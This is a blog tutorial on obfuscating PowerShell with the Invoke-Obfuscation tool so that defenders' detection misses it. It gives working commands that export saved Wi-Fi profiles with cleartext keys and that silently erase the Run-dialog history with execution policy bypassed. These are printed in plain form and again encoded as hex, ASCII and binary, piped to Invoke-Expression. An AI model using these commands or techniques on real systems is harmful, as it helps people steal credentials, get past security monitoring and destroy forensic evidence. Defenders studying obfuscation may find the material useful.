Obfuscating PowerShell Commands using Invoke-Obfuscation

Source: https://github.com/danielbohannon/Invoke-Obfuscation

Thanks to one of Dave Kennedy’s talks for making me aware of this tool for obfuscating PowerShell code.  As PowerShell is used more and more in attacks the higher the likelihood there is for defenders to attempt to detect malicious commands or look for specific strings.  To evade these detection techniques we can try to encode our commands to make them much harder to detect.

I’ll use the previous Bash Bunny Payload as an example with this tool.

After copying and extracting the contents of Invoke-Obfuscation start by opening a new PowerShell session and navigating to the extracted contents of the tool.  Note that if you haven’t already changed your execution policy you may get an error that it does not allow running scripts.  Following instructions on Microsoft’s site they will walk you through modifying the policy to allow execution.

Import the module by typing:

  • Import-Module ./Invoke-Obfuscation.psd1
Then start the tool:
  • Invoke-Obfuscation

For the purposes of the test let’s borrow the following commands:

  • powershell netsh wlan export profile key=clear
  • powershell -WindowStyle Hidden -Exec Bypass “Remove-ItemProperty -Path ‘HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU’ -Name ‘*’ -ErrorAction SilentlyContinue”

To encode the first command type out:

To encode in hex, for example, choose “2”, but feel free to experiment as there are tons of different options to play with.

Once content with the encoding you can simply type in “copy” and the encoded command will be copied to the clipboard.

Lets dump the contents into a run window to test:

  • powershell [stRIng]::jOIN( ” , ( ‘6e!65<74g73z68,20<77;6ch61<6eh20,65_78_70,6f;72<74_20_70,72,6fh66_69z6c!65!20,6bz65<79g3dg63;6cg65<61_72’-spliT ‘;’-SPliT’,’-splIT’!’ -SpLIT'<‘-SpLiT ‘g’ -SPlIt’h’-sPLIt’z’ -sPlit ‘_’| FOReach{([CoNVerT]::tOINT16( ( [stRING]$_) , 16)-aS[CHaR]) } ) ) |IeX

 

I see errors, why?  Well, looking back in the Run dialogue I notice that part of the encoded command is cut off and counting up the chars the limit appears to be 259.  You can either dump the command into a PowerShell session directly or play around with encoding types so the entire command scring will fit.  I tried ASCII encoding the 2nd time and that worked:

  • powershell &( ([StrInG]$vERboSePRefereNCe)[1,3]+’x’-JOIN”) ( -jOiN((110,101 ,116, 115 , 104, 32 , 119,108 ,97, 110 ,32 ,101 ,120,112, 111, 114 ,116,32 , 112 , 114, 111,102 ,105 ,108,101 ,32, 107,101 , 121,61 , 99,108, 101, 97 , 114)|%{([ChAr] [InT] $_) }) ) 

For the 2nd command lets encode to binary and dump directly into PowerShell:

  •  invOke-exPrEsSioN ([striNg]::jOIN( ”, (( 1110000 ,1101111 ,1110111 ,1100101,1110010, 1110011 , 1101000 , 1100101, 1101100, 1101100 , 100000, 101101,1010111 , 1101001,1101110,1100100, 1101111 ,1110111 , 1010011, 1110100, 1111001 , 1101100 ,1100101,100000 ,1001000, 1101001 ,1100100 ,1100100 ,1100101,1101110 ,100000,101101, 1000101,1111000,1100101,1100011,100000, 1000010, 1111001, 1110000, 1100001 ,1110011 ,1110011 , 100000,100010,1010010, 1100101 ,1101101, 1101111 , 1110110, 1100101,101101, 1001001 , 1110100, 1100101 , 1101101, 1010000, 1110010 ,1101111 , 1110000,1100101, 1110010,1110100 , 1111001,100000 , 101101 , 1010000,1100001 , 1110100,1101000, 100000,100111, 1001000,1001011 ,1000011 , 1010101, 111010 , 1011100, 1010011 , 1101111 ,1100110, 1110100,1110111, 1100001, 1110010 ,1100101 ,1011100,1001101 ,1101001 , 1100011, 1110010 , 1101111 , 1110011 ,1101111 ,1100110 , 1110100, 1011100,1010111 ,1101001, 1101110 ,1100100,1101111,1110111 ,1110011,1011100 ,1000011,1110101 , 1110010 , 1110010, 1100101 ,1101110 ,1110100 , 1010110, 1100101,1110010,1110011,1101001 , 1101111,1101110, 1011100 , 1000101,1111000 , 1110000 , 1101100,1101111 ,1110010 , 1100101 , 1110010,1011100 ,1010010,1110101 ,1101110 ,1001101,1010010, 1010101 ,100111 , 100000, 101101, 1001110, 1100001, 1101101, 1100101, 100000, 100111 ,101010, 100111,100000 ,101101 ,1000101 ,1110010 , 1110010, 1101111 ,1110010, 1000001 , 1100011, 1110100 , 1101001 , 1101111, 1101110 , 100000, 1010011 , 1101001,1101100,1100101, 1101110,1110100 , 1101100 ,1111001 , 1000011, 1101111 , 1101110 , 1110100 , 1101001, 1101110, 1110101, 1100101 , 100010 )| FoREacH-oBJEcT{ ([cOnVerT]::TOinT16(( [StrinG]$_ ) , 2 )-as [ChaR])}) ))

Tested in Powershell then checked the Run box, where’d all my command history go?

Note that if you’re testing these commands at home, WiFi XML creds will output to (on Windows) c:users%username% so be sure to clean those up at the end.

Obviously I’m only touching a little bit on the cool stuff you can do with this tool so definitely check it out more and play around!Also this Derbycon presentation does a fantastic job of spelling out a lot potential obfuscation techniques if you’re interesting in learning more about the topic.